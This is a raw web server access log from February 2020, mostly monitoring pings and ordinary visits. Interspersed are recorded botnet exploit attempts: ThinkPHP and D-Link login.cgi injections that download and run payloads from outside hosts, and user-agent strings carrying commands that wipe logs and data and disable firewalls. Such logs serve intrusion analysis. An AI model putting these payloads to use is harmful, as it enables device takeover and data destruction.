34.210.137.222 - - [17/Feb/2020:11:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
34.221.90.254 - - [17/Feb/2020:11:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
190.28.111.56 - - [17/Feb/2020:11:27:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [17/Feb/2020:11:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.64.15.34 - - [17/Feb/2020:11:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
103.64.15.34 - - [17/Feb/2020:11:28:22 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
103.64.15.34 - - [17/Feb/2020:11:28:22 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [17/Feb/2020:11:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.224.180.231 - - [17/Feb/2020:11:28:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:11:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.29.27.170 - - [17/Feb/2020:11:35:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:11:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.14.211.118 - - [17/Feb/2020:11:36:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:11:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.47.86 - - [17/Feb/2020:11:52:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
60.177.86.236 - - [17/Feb/2020:11:52:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:11:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.110.150.176 - - [17/Feb/2020:11:53:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:11:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
130.180.108.50 - - [17/Feb/2020:11:57:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
212.91.246.72 - - [17/Feb/2020:11:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:11:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.236.4.229 - - [17/Feb/2020:11:58:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:11:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.167.69.226 - - [17/Feb/2020:12:00:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [17/Feb/2020:12:02:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [17/Feb/2020:12:04:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.180.197.10 - - [17/Feb/2020:12:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:12:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.103.163.67 - - [17/Feb/2020:12:08:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:12:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [17/Feb/2020:12:22:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.9.148.211 - - [17/Feb/2020:12:23:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:12:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.167.69.226 - - [17/Feb/2020:12:24:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.1.160.138 - - [17/Feb/2020:12:27:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.161.189.1 - - [17/Feb/2020:12:28:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.163.155.224 - - [17/Feb/2020:12:30:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [17/Feb/2020:12:31:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:12:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.170.14.210 - - [17/Feb/2020:12:34:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:12:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.254.93.100 - - [17/Feb/2020:12:36:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
52.87.171.209 - - [17/Feb/2020:12:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
52.87.171.209 - - [17/Feb/2020:12:37:26 +0100] "GET /favicon.ico HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
138.68.43.24 - - [17/Feb/2020:12:37:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:12:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.218.76.200 - - [17/Feb/2020:12:46:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:12:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.141.188.89 - - [17/Feb/2020:12:47:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
31.44.176.6 - - [17/Feb/2020:12:47:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [17/Feb/2020:12:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:12:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
